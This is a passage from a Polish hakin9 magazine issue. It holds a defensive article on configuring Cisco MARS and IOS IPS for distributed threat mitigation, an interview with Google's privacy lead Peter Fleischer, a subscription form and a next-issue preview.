wie  informacji  spływających  do  nie-
go z całej sieci identyfikuje wspólnie 
z systemami IPS konkretne zagroże-
nia czy niepożądane wzorce rucho-
we.  Połączenie  możliwości  identyfi-
kacji i korelacji zdarzeń przez system 
MARS, z możliwościami wykrywania 
i klasyfikacji zagrożeń systemów Ci-
sco  IPS  daje  administratorowi  bez-
pieczeństwa  wygodne  i  co  najważ-
niejsze – sprawnie działające narzę-

Rysunek 1. 

Menu systemu MARS

Rysunek 2. 

Ekran konfiguracji urządzeń

Rysunek 3. 

Pusta lista urządzeń zarządzanych

Jak widać, sam pomysł zautoma-

tyzowania  pewnej  sekwencji  czyn-
ności  nie  jest  nowy  –  dotychczaso-
we systemy tego typu działały na po-
dobnej  zasadzie,  ale  brakowało  im 
szybkości, dokładności (opierały się 
o konfigurowalne filtry pakietów w ro-
uterach i przełącznikach oraz reguły 
ścian ogniowych, które z natury rze-
czy  ograniczone  są  do  informacji  z 
warstw  3-4  modelu  ISO  i  pewnych 
wybranych  zagadnień  normalizacyj-
nych  dla  poszczególnych  protoko-
łów  działających  w  warstwach  wyż-
szych) oraz architektury zapewniają-
cej odpowiedni poziom bezpieczeń-
stwa (rekonfiguracja urządzeń odby-
wa się zwykle przez SNMP lub Tel-
net)  i  zintegrowanego  raportowania 
w czasie rzeczywistym.

Architektura DTM

Każdy  system  bezpieczeństwa,  aby 
móc  efektywnie  spełniać  swoje  za-
danie,  powinien  oprócz  mechani-
zmów wykrywających i decyzyjnych, 
komunikować  się  z  administratorem. 
Pierwszym  składnikiem  architektu-
ry DTM jest jak zawsze – system po-
zwalający na efektywne zarządzanie 
całością rozwiązania.

Następny  element,  to  rozwiąza-

nie  pozwalające  korelować  ze  sobą 
informacje – serce architektury DTM. 
Systemy monitorujące tego typu sta-
ją  się  coraz  bardziej  popularne,  z 
uwagi  na  fakt,  że  nawet  pojedyn-
cze  urządzenia  sieciowe  są  w  sta-
nie generować wiele różnego rodza-
ju informacji o swojej pracy – od ty-
powo  utrzymaniowych  (przepełnio-
ne  interfejsy,  krytyczny  poziom  pa-
mięci  operacyjnej,  zbyt  duże  obcią-
żenie procesorów sieciowych), przez 
wszelkie związane z ich specyficzną 
funkcjonalnością (np. trafienie pakie-
tu  w  listy  kontroli  dostępu,  przekro-
czenie  konkretnej  wartości  sesji  dla 
ścian  ogniowych  śledzących  połą-
czenia, czy również gwałtowny skok 
w ilości obsługiwanych połączeń gło-
sowych, utrata dostępu do zasobów 
plikowych).  Oczywiście  w  zależno-
ści  od  stopnia  integracji  oferowanej 
przed producenta, systemy te waha-
ją  się  od  bardzo  płytko  analizujące 
docierające  do  nich  informacje  (lub 
wymagające  do  skutecznej  pracy 
dużą ilość pracy integratorskiej, aby 
dostosować ich bazę wiedzy do po-
siadanej  infrastruktury)  po  zintegro-
wane  z  konkretnymi  rozwiązaniami. 

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

72

dzie do powstrzymania ataku w całej 
zarządzanej przez niego sieci.

W  momencie  wykrycia  zagroże-

nia przez system Cisco IPS, system 
Cisco  MARS  informowany  jest  na 
bieżąco o konkretnym typie i wszel-
kich identyfikowanych cechach tego 
zagrożenia  (adresy  sieciowe,  proto-
kół, cechy specyficzne dla protokołu 
itd.). System MARS może w tym mo-
mencie  wyzwolić  jedną  z  własnych 
reguł dotyczących obsługi tego typu 
zdarzenia, w tym zapewnić automa-
tyczną  dystrybucję  opisu  ataku  (sy-
gnaturę) na zarządzane systemy IPS 
– czyli routery (w tym konkretną gru-
pę routerów) z systemem IPS.

Oczywiście  system  osiąga  naj-

większą skuteczność w sytuacji, gdy 
pierwotny  system  IPS  wykrywają-
cy atak posiada bogatą bazę sygna-
tur i anomalii – stąd zalecenie wyko-
rzystania dedykowanych sond Cisco 
IPS  (dedykowane  urządzenia  lub 
karta do przełącznika Cisco Catalyst 
6500), ale możliwe jest również wy-
korzystanie jako źródła informacji dla 
systemu MARS routera Cisco ISR z 
odpowiednio bogatym zestawem de-
finicji sygnatur.

Wraz  z  informacją  o  postaci  za-

grożenia  wysyłaną  do  routerów  wy-
syłana jest również informacja o ak-
cji skojarzonej z wykryciem tego ty-
pu ruchu – może ona ograniczyć się 
do alarmu, oraz do akcji bardziej ty-
powych – odrzucenia pakietu pasu-
jącego do sygnatury lub zresetowa-
niu  połączenia,  w  którym  potencjal-
nie szkodliwa zawartość została wy-
kryta.

Taka współpraca pomiędzy sen-

sorami  IPS,  systemem  zarządzania 
oraz  routerami  z  systemem  Cisco 
IOS  IPS  możliwa  jest  dzięki  dwóm 
wspólnym  mechanizmom  –  uniwer-
salnemu językowi opisywania sygna-
tury (Cisco SDF – Signature Defini-

tion  File)  oraz  protokołowi  transpor-
towemu  (SDEE  –  Security  Device 

Event Exchange).

Przykład instalacji 

rozwiązania – Cisco DTM

W tej części artykułu opiszemy przy-
kładową instalację systemu w oparciu 
o pojedyncze elementy rozwiązania.

Rysunek 6. 

Konfiguracja parametrów dostępowych do routera

Rysunek 7. 

Dane dostępowe do IPS w routerze

Rysunek 4. 

Wybór urządzenia – router Cisco

Rysunek 5. 

Dodanie podsystemu IPS do routera

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

74

Konfiguracja routera

z funkcjonalnością Cisco

IOS IPS

Funkcjonalność obsługiwana jest na 
routerach serii Cisco ISR 871, 1760, 
1841, 2600, 3745, 3800, 7200, 7301 
i 7401 z oprogramowaniem wspiera-
jącym  mechanizmy  bezpieczeństwa 
oraz w wersji minimum 12.4(4)T. Na 
routerze  należy  skonfigurować  ob-
sługę  protokołu  HTTPS  (SDEE  wy-
korzystuje  SSL  jako  protokół  trans-
portowy) oraz SSH (MARS użyje po-
łączenia SSH do wywołania rekonfi-
guracji  podsystemu  IPS),  a  następ-
nie aktywować podsystem IPS.

Lokalne  uwierzytelnianie  połą-

czeń  do  routera  z  systemu  MARS 
(można  oczywiście  skorzystać  z 
uwierzytelniania w oparciu o system 
TACACS+):

router(config)# username
   login-dla-systemu-mars privilege 15
   secret haslo-dla-marsa

Włączenie  serwera  HTTPS  i  usta-
wienie uwierzytelniania połączeń do 
niego w oparciu o lokalną bazę użyt-
kowników.

router(config)# ip http secure-server
router(config)# ip http authentication
   local

(oczywiście  dostęp  do  serwera 
HTTPS  można  następnie  ograni-
czyć  dodatkowo  np.  tylko  do  adre-
su IP systemu MARS, a także zasto-
sować  inne  mechanizmy  chroniące 
pracę routera, jest to jednak zagad-
nienie na osobny artykuł).

Następnie  należy  aktywować 

funkcjonalność  Cisco  IOS  IPS.  Ro-
utery  z  oprogramowaniem  zawiera-
jącym  podsystemy  bezpieczeństwa 
dostarczane są z domyślnym zesta-
wem  sygnatur  zawartym  w  pliku  at-
tack-drop.sdf, zapisanym na pamięci 
flash. Jest to zestaw wyjściowy, któ-
ry w trakcie pracy urządzenia może 
zostać wzbogacony o inne sygnatury 
dosłane przez system MARS:

router(config)# ip ips notify sdee
router(config)# no ip ips notify log

Rysunek 10. 

Tworzenie reguł dla Cisco DTM w CS-MARS

Rysunek 11. 

Dodajemy regułę

Rysunek 8. 

Konfiguracja sondy IPS serii 4200 w CS-MARS

Rysunek 9. 

Opcje konfiguracji sond IPS w MARS

background image

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

75

router(config)# ip sdee subscriptions 3
router(config)# ip sdee alerts 2000
router(config)# ip ips sdf location
   flash:attack-drop.sdf autosave
router(config)# ip ips name Hackin9_IPS

Konfigurację  routera  wieńczy  włą-
czenie  podsystemu  IPS  na  wybra-
nych interfejsach – w naszym przy-
padku jest to zewnętrzny interfejs Gi-

gabitEthernet 0/0 routera:

router(config)# interface
   gigabitethernet 0/0
router(config-if)# ip ips Hackin9_IPS in

Konfiguracja 

dedykowanego systemu 

Cisco IPS 5.x

Tak jak wspomniano wcześniej sonda 
Cisco IPS zawierać będzie bibliotekę 
ataków i z uwagi na to zaleca się, by 
było to urządzenie dedykowane– do-
stępne w ramach serii sond Cisco IPS 
4200 lub w postaci karty do Cisco Ca-
talyst 6500. Możliwe jest również za-
stosowanie w tej roli routera z funkcjo-
nalnością Cisco IOS IPS, ale z uwa-
gi  na  mniejszą  ilość  sygnatur  nawet 
w największym zestawie (w momen-
cie pisania tego artykułu jest to około 
600 w porównaniu do ponad 2000 w 
systemach dedykowanych) nie jest to 
rozwiązanie optymalne.

Jedyna  konfiguracja  wymagana 

na urządzeniu pracującym jako źró-
dło informacji dla systemu MARS jest 
dodanie jego adresu IP do listy klien-
tów dla protokołu SDEE – w tej kon-
figuracji  MARS  będąc  klientem  po-
łączy się do sondy (serwera SDEE) 
i  pobierze  potrzebne  informacje  na 
podstawie otrzymanych logów.

Konfiguracja systemu 

Cisco MARS

Konfiguracja  systemu  MARS  skła-
dać się będzie z dodania dedykowa-
nych systemów IPS, wskazania któ-
re routery (grupa) może zostać prze-
konfigurowana  w  ramach  architek-
tury  DTM,  oraz  dostosowania  reguł 
wyzwolenia akcji w ramach DTM.

Aby dodać routery, po zalogowa-

niu się do konsoli należy z menu Ad-

min wybrać opcję Security and Moni-

tor Devices.

Rysunek 15. 

Konfiguracja akcji – wybieramy DTM

Rysunek 12. 

Opisujemy regułę

Rysunek 13. 

Określamy kryteria wystąpienia

Rysunek 14. 

Określamy sondy które mogoą powodować wyzwolenie alarmu

Następnie  kliknąć  Add:  wybrać 

odpowiedni  rodzaj  urządzenia  (w 
naszym  przypadku  Cisco  IOS  12.x) 
(Rysunek 4).

A  następnie  wypełnić  pola  po-

zwalające systemowi MARS otrzy-

mać  połączenie  do  routera:  kolej-
ny  krok  to  dodanie  funkcjonalno-
ści  IPS  (Add  IPS)  do  tak  zdefinio-
wanego routera ze wskazaniem lo-
ginu i hasła dla połączenia protoko-
łem SDEE:

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

76

Dodanie  systemów  IPS  pełnią-

cych  funkcje  raportujące  i  biblio-
teczne  dla  systemu  MARS  nastę-
puje  analogicznie  –  wybieramy  od-
powiedni typ urządzenia (w naszym 
przypadku sonda Cisco IPS 5.x se-
rii 4200): oraz wskazujemy dane po-
zwalające kontaktować się z sondą:

Przeprowadzony  powyżej  pro-

ces  można  oczywiście  zautomaty-
zować – posługując się na przykład 
plikiem seed z systemu CiscoWorks, 

pozwalającego automatycznie wczy-
tać  wiele  urządzeń  bez  żmudnego 
przepisywania danych.

Konfiguracja systemu 

Cisco MARS – 

podsystem DTM

Po skonfigurowaniu urządzeń uczest-
niczących  w  systemie  DTM,  należy 
zdefiniować  co  konkretnie  ma  dziać 
się  w  ramach  tej  funkcjonalności  dla 
wybranego  zakresu  sieci,  protokołów 

Rysunek 17. 

Wskazanie które routery mają otrzymać uaktualnienia

Rysunek 18. 

Zdefiniowana reguła

(istnieją  też  inne  kryteria  na  podsta-
wie których można podjąć takie a nie 
inne decyzje).

Z  menu  Rules  należy  wybrać 

CS-MARS Distributed Threat Mitiga-

tion  (Cisco  DTM)  (Rysunek  10)  klik-
nąć przycisk Add: opisać tą konkret-
ną  regułę  (oprócz  nazwy  możliwe 
jest  również  umieszczenie  dłuższe-
go  komentarza):  po  kliknięciu  Next 
przechodzimy  do  zdefiniowania  kry-
teriów  działania  reguły  –  w  systemie 
MARS poszczególne zdarzenia zgła-
szane  przez  urządzenia  (np.  wyko-
nanie  NAT  na  pakiecie,  zablokowa-
nie pakietu, itp.) są łączone i korelo-
wane,  by  następnie  zostać  przejrza-
ne przez reguły (pozwalające powią-
zać ze zdarzeniem akcję). W naszym 
przypadku kryterium jest bardzo sze-
rokie – ruch może mieć dowolny adres 
źródłowy, docelowy oraz rodzaj usługi 
(Rysunek 13).

Jako Device należy wybrać dedyko-

wane sondy IPS, służy do tego odpo-
wiednie  okno  wyboru  zdefiniowanych 
wcześniej urządzeń (Rysunek 14).

Po  dokończeniu  definicji  kry-

teriów (można dodatkowo określić 
słowa  kluczowe  które  muszą  wy-
stąpić w zgłaszanym przez sondę 

Rysunek 16. 

Wybór akcji do wyzwolenia – tylko alarm

background image

alarmie, poziom alarmu oraz ilość wystąpień danego 
zdarzenia  by  MARS  zareagował  a  także  pory  dnia  i 
nocy w których nadejście danego alarmu ma być bra-
ne  pod  uwagę  przez  system)  z  menu  akcji  wybiera-
my DTM (Rysunek 15) a następnie rodzaj akcji (alarm, 
alarm+odrzucenie  pakietów  lub  alarm+zresetowanie 
połączenia) (Rysunek 16) i adresatów akcji – routery 
z podsystemem IPS: następnie wracamy do główne-
go menu i z listy reguł zdefiniowanych przez użytkow-
nika  wybieramy  właśnie  dodaną  –  należy  ją  jeszcze
aktywować  (przez  zaznaczenie  przy  nazwie  regu-
ły ikonki v oraz kliknięcie przycisku ‘Activate’ w pra-
wym górnym rogu) po aktywowaniu reguł w systemie 
MARS  wystarczy  poczekać  na  alarmy  napływające
z sensorów IPS. Na podstawie zdefiniowanych reguł 
MARS podejmie decyzje o rozpowszechnieniu i akty-
wowaniu odpowiednich sygnatur na routerach z pod-
systemem Cisco IOS IPS.

Poniżej  przykład  logu,  w  którym  system  MARS  wy-

krył  atak  i  dokonfigurował  do  routera  pod  adresem 
192.168.247.196 trzy sygnatury – o identyfikatorach 1107, 
2000 i 2004.

Podsumowanie

Architektura  DTM,  pozwalająca  wzbogacić  istnieją-
ce  systemy  bezpieczeństwa  sieciowego  o  automa-
tyczną,  realizowaną  w  czasie  rzeczywistym  rekon-
figurację  pod  kątem  wykrywanych  ataków  stano-
wi  ważny  krok  na  drodze  quasi-inteligentnych  sys-
temów  bezpieczeństwa,  działających  dużo  dokład-
niej  niż  dostępne  obecnie  (i  dające  się  policzyć  na 
palcach jednej ręki) systemy rekonfiguracji urządzeń
pozwalających  na  filtrowanie  pakietów.  Oczywiście, 
należy spodziewać się rozszerzenia domeny zarów-
no urządzeń i oprogramowania raportującego (nieba-
wem  jednym  z  nich  będzie  oprogramowanie  na  sta-
cje robocze i serwery Cisco Secure Agent, pełniące 
role zaawansowanego systemu HIPS) jak i pozwala-
jącego  na  zatrzymywanie  lub  ograniczanie  skutków 
ataków  (systemy  firewall  i  VPN  oraz  zaawansowa-
ne  przełączniki).  W  dobie  sieci  generujących  setki,
tysiące i miliony zdarzeń w ciągu sekundy, nie mamy 
już  bowiem  odwrotu  –  maszyny  muszą  zacząć  wal-
czyć z maszynami. l

W Sieci:

•   Cisco Security MARS: http://www.cisco.com/go/mars;
•   Cisco  IPS  5.x  w  urządzeniach  serii  4200:  http://www.

cisco.com/go/ips;

•   Cisco IOS IPS: http://www.cisco.com/go/iosips;
•   Przewodnik  konfiguracji  rozwiązania  DTM:  http://www.

cisco.com/en/US/products/ps6241/products_configura-
tion_example09186a008067a2b0.shtml.

www.hakin9.org

background image

www.hakin9.org

hakin9 Nr 1/2007

78

Wywiad

Peter Fleischer

 utrzymuje stały kontakt z oso-

bami  mającymi  wpływ  na  ochronę  prywatno-
ści Internautów w Europie, by zagwarantować, 
że  Google  będzie  reagować  na  europejskie 
oczekiwania na tym polu. Peter ma 10 – letnie
doświadczenie  w  dziedzinie  ochrony  danych. 
Wcześniej  pracował  w  firmie  Microsoft  jako 
kierownik ds. prywatności w Europie i dyrektor 
ds. regulacji ustawowych. Peter kształcił się w 
USA  (Harvard  College  i  Harvard  Law  School)
i  w  Niemczech  (LMU  –  Monachium).  Przez 
ostatnie dziesięć lat pracował w Paryżu.

hakin9:

  Bezpieczeństwo  danych  w  sie-

ci  jest  obecnie  bardzo  gorącym  tematem.
Jakie  działania  podejmuje  Google, by  zapew-
nić  swoim  użytkownikom  bezpieczeństwo  ich 
danych w sieci?

PF:

 Nasze produkty, od początku swego ist-

nienia, mają wbudowane mechanizmy ochrony 
prywatności, żaden z nich również nie wykorzy-
stuje  danych  personalnych  użytkowników  bez 
ich zgody. Zawsze też prosimy użytkowników by 
potwierdzili chęć korzystania z serwisów wyma-
gających ujawnienia poufnych danych.

Nasze  zasady  prywatności  piszemy  pro-

stym  językiem,  unikamy  prawniczego  żargo-
nu. Kiedy nie zachodzi potrzeba, nie wymaga-
my od użytkowników aby podawali nam swoje 
dane. Z większości naszych serwisów można 
korzystać anonimowo.

h9:

 Nawiązując do prostoty językowej: czy 

byłby  Pan  w  stanie  opisać  nam  zasady  bez-
pieczeństwa  prywatności  w  dosłownie  kilku 

punktach?  Tak,  aby  każdy  mógł  w  przejrzy-
sty  sposób  zapoznać  się  z  nimi  i  zrozumieć, 
bez potrzeby wdrażania się w zawiłości języ-
ka prawniczego.

PF:

  Tak,  oczywiście.  Po  pierwsze  nasze 

powiadomienia  są  proste  i  czytelne.  Projek-
tujemy  produkty,  które  jasno  informują  użyt-
kowników, jaki maja wpływ na ich prywatność
i  zawsze,  gdy  jest  to  możliwe,  pozostawiają 
wybór. Przykładem może być Google Toolbar,
w którym unikamy prawniczego żargonu; w in-
terfejsie zachowany jest też styl Google. Naj-
ważniejsza  w  przechowywaniu  danych  jest 
dla  nas  przejrzystość.  Projektujemy  produkty, 
które jasno informują użytkowników, jaki mają 
wpływ na ich prywatność i zawsze, gdy jest to 
możliwe, pozostawiają wybór.

Równie istotnym jest, by zasady prywatno-

ści były łatwe do czytania. Jest to proste, jed-
nostronicowe  podsumowanie  najważniejszych 
informacji  o  prywatności,  z  odnośnikami  do 
kompletnych  zasad  prywatności  i  informacji
o  poszczególnych  produktach.  „Warstwowa” 
architektura tekstu jest czytelna i zrozumiała. 

Staramy  również  upewnić  się,  że  partne-

rzy,  z  którymi  współpracujemy  także  prze-
strzegają zasad prywatności. Tak jest w przy-
padku  Google  Analytics,  oferującemu  serwi-
som  WWW  szczegółowe,  anonimowe  rapor-
ty  statystyczne,  dotyczące  interakcji  odwie-
dzających z tymi serwisami. Google wymaga, 
aby zewnętrzni użytkownicy oprogramowania 
Analytics publikowali zasady prywatności i in-

Wywiad z Peterem 

Fleischerem 

Peter Fleischer, kieruje pracami Google w zakresie ochory 

prywatności w regionie EMEA (obszar Europy, Bliskiego Wschodu 

i Afryki). Jego zadaniem jest dopilnownie, by firma Google chroniła 

prywatność użytkowników swoich produktów, wywiązywała się 

ze wszelkich zobowiązań prawnych i systematycznie podnosiła 

standardy ochrony prywatności w Internecie.

background image

Wywiad

hakin9 Nr 1/2007

www.hakin9.org

79

formowali swoich użytkowników o tym, że serwis wyko-
rzystuje Cookiem, który gromadzi anonimowe dane.

h9:

  Widzę,  że  Google  kładzie  duży  nacisk,  aby  na 

każdym kroku wyjaśnić, co się dzieje z prywatnymi dany-
mi użytkowników. Czy w związku z tym użytkownicy chęt-
niej sięgają po serwisy Google?

PF:

  Wyjaśniamy  szczegółowo  jak  działa  innowacyj-

ny  serwis,  co  przynosi  bardzo  dobre  efekty.  Przykładem 
może być Gmail – darmowy serwis poczty elektronicznej, 
utrzymywany z „kontekstowych reklam”, bazujących na sło-
wach w e-mailach. Wystąpiły pewne wątpliwości dotyczą-
ce prywatności podczas premiery – zadawano pytania, czy
Google czyta e-maile, aby wyświetlać reklamy? Te wątpli-
wości zniknęły, gdy użytkownicy zapoznali się z działaniem 
Gmail: e-maile są czytane przez automatyczne oprogramo-
wanie, nie przez ludzi. Działa na zasadzie reklam dostoso-
wanych do grupy targetowej, które pojawiają się gdy korzy-
stamy z wyszukiwarki Google. Jest podobny do oprogramo-
wania skanującego wirusy oraz spam. Poza tym, reklamy 
są dynamiczne i w czasie rzeczywistym, nie są tworzone 
stałe zapisy i profile. Wierzymy, że nasi użytkownicy wolą 
widzieć interesujące dla nich reklamy, zamiast losowo poja-
wiające się reklamówki.

h9

Rozumiem, że prawo chroni dane osobowe. Ale 

co zrobić w przypadku, gdy rząd danego państwa wyda-
je polecenie monitorowania danych?

PF:

 Google sprzeciwia się nadmiernym żądaniom do-

stępu do danych ze strony rządu. Przytoczę przypadek, gdy 
amerykański  Departament  Sprawiedliwości  zaangażował 
się  w  proces  dotyczący  konstytucjonaliści  amerykańskiej 
ustawy z 1998r. o ochronie dzieci w Internecie. Celem było 
określenie, czy filtry programowe byłyby skuteczne w reali-
zowaniu założeń prawa, bez ograniczania swobody wypo-
wiedzi. Departament Sprawiedliwości wysłał wezwanie do 
Google, a także do AOL, Yahoo, MSN i wielu innych firm. 
Od Google żądał przekazania miliardów adresów URL i mi-
lionów zapytań do wyszukiwarki. Google zdecydował się na 
spór w sądzie, aby sprzeciwić się temu wezwaniu. W uza-
sadnieniu Google podał, że wezwanie było przesadne, bez 
znaczenia dla sprawy, naruszało prywatność użytkowników 
i zagrażało własności firmy. Sędzia Ware orzekł werdykt na 
korzyść Google (nakazując przedstawienie 5000 adresów 
URL żadnych zapytań). Jest to ważny precedens prawny
w walce o zrównoważenie rządowego dostępu do informa-
cji z oczekiwaniami użytkowników w zakresie prywatności.

Zanim  wdrożymy  nową  usługę  (np.  Google  Image

Search lub Google Earth) upewniamy się, że jest ona stu-
procentowo  bezpieczna  dla  użytkowników.  Nie  możemy 
sobie  pozwolić,  by  wydać  cokolwiek,  co  mogłoby  powo-
dować niebezpieczeństwo dla prywatności. Pracujemy też 
nad  zachowaniem  prywatności  w  Web  2.0.  Komputery-
zacja zdąża w kierunku modelu usługowego, gdzie użyt-
kownicy coraz częściej decydują się na przechowywanie 
swoich Nawych i uruchamianie aplikacji online, takich jak 
poczta przez WWW, dokumenty, kalendarze, czaty, blogi 
itd. Przykładowe usługi, które przechowują dane użytkow-
ników centralnie, ale mają dostęp z każdego miejsca to:

•   Poczta  przez  WWW  (MSN  Hotmail,  Yahoo  Mail, 

Gmail, Web. De FreeMail);

•   Przechowywanie  plików  online  (Yahoo  Brief  Case,

Microsoft FolderShare, AOL Xdrive);

•   Kopie zapasowe online – automatycznie pobierają pli-

ki z prywatnego komputera i tworzą kopie zapasowe 
na scentralizowanych serwerach.

Logowanie z dowolnego komputera, telefonu komórkowe-
go lub urządzenia podłączonego do Internetu, dające na-
tychmiastowy  dostęp  do  wszystkich  aplikacji  i  danych,  z 
możliwością  ich  przeszukania,  co  jest  bardzo  cenne  dla 
użytkowników.  Funkcja  SAC,  czyli  wyszukiwanie  między 
komputerami) w Google Desktop to mały przykład duże-
go trendu.

h9:

 Jakie działania podejmuje Google, aby zapewnić 

komfort klientom, którzy zdecydowali się przenieść dane 
ze swojego komputera na wasz serwer?

PF

Ostrzeżenia,że pliki zostaną przeniesione do ser-

werów Google Desktop są bardzo czytelne. Użytkowni-
cy mogą precyzyjnie określić, które dane chcą udostęp-
nić, a których nie chcą udostępniać. Umieściliśmy rów-
nież przycisk, za pomocą którego można łatwo skasować 
wszystkie własne pliki z serwerów Google Desktop.

h9:

  W  Stanach  Zjednoczonych  dane  w  komputerze 

PC użytkownika w jago domu są silnie chronione przez 
czwartą poprawkę do Konstytucji. Aby je udostępnić, nie-
zbędny  jest  sądowy  nakaz  przeszukania.  Jednak  dane 
na serwerach korporacyjnych mają tę ochronę dużo słab-
szą – jest ona zapewniana przez ustawę o prywatności 
komunikacji elektronicznej. Stawia ona dużo niższe wy-
mogi, gdy chodzi o rządowy dostęp do danych określone-
go typu – w tym przypadku wystarczy jedynie wezwanie. 
Przepisy na świecie nie zapewniają takiego samego po-
ziomu ochrony. Co zrobić, aby zmienić ten stan rzeczy?

PF:

  Google  uważa,  że  dane  użytkowników  powinny 

podlegać takiej samej ochronie prywatności, niezależnie 
od tego, czy są przechowywane na ich własnych kompute-
rach, czy na serwerach stron trzecich. Aby usunąć przyto-
czoną anomalię prawną, Google wspiera stworzenie fede-
ralnej ustawy o prywatności konsumentów i zaktualizowa-
nie ustawy o prywatności komunikacji elektronicznej.

W Unii Europejskiej kwestie ochrony danych w trzecim 

filarze  regulacji  wzbudzają  poważny  niepokój.  Przepisy
o  przechowywaniu  danych  (Europa,  USA,  inne  części 
świata) podniosą stawkę. Usługi Web 2.0 zwiększa gwał-
townie liczbę danych na serwerach, wymagane będzie ich 
utrzymanie, a rządy i służby odpowiedzialne za egzekwo-
wanie  prawa  będą  chciały  mieć  do  nich  dostęp.  Google 
już spotkał się w sądzie z Amerykańskim Departamentem 
Sprawiedliwości  w  sprawie  gigantycznego  przekazania 
danych. Google chce pracować ze wszystkim zaintereso-
wanymi stronami, aby zagwarantować, że zasady ochrony 
danych będą szanowane w świecie Web 2.0: To nasz biz-
nes i nasze wartości. l

Rozmawiała: Marta Ogonek

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

4

119

3

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży w połowie stycznia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 2/2007 

w następnym numerze 

między innymi:

Zapowiedzi

StMichael – protektor integralności

Linux Kernel

Wiele zabezpieczeń Linuksa nie chroni bezpośrednio jądra co umożliwia zło-
śliwym programom, działającym tak jak np.: robak win32 na wślizgnięcie się 
do systemu. StMichael może chronić jądro przeciwko rootkitom np.: przez 
monitorowanie licznych fragmentów jądra. Rodrigo Rubira Branco przedsta-
wi jak korzystać z StMichaela i w jaki sposób chroni on nasz system.

Bezpieczne programowanie

serwerów sieciowych

System oprogramowania trapdoor2 jest przykładem na opisanie technik pro-
gramistycznych  jako  ochrony  przed  atakami  przy  użyciu  języka  C.  Andre-
as Krennmair opisze system oprogramowania do bezpiecznego wywoływa-
nia niezdefiniowanych komend ponad siecią używając metody autentykacji i 
środka bezpieczeństwa warstwy transportowej.

Techniki maskowania obecności w GNU/Linux

W  artykule  omówimy  przechwytywanie  wywołań  otwarcia  jakiegoś  pliku, 
sprawdzenie  jego  nazwy  oraz  opiszemy  co  się  dzieje  w  przypadku  jeśli 
nazwa zgadza się z jakąś wymyśloną wcześniej. Artykuł przedstawia pod-
stawowe techniki maskowania użytkownika w systemie

Obrona

Na CD:

•   hakin9.live - butowalna dystrybucja Linuksa;
•   26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień 

poruszanych w artykułach;

•   specjalne wersje komercyjnych programów;
•   e-books – książki elektroniczne;
•   kurs na certyfikat Cisco CCNA.

Atak

background image
background image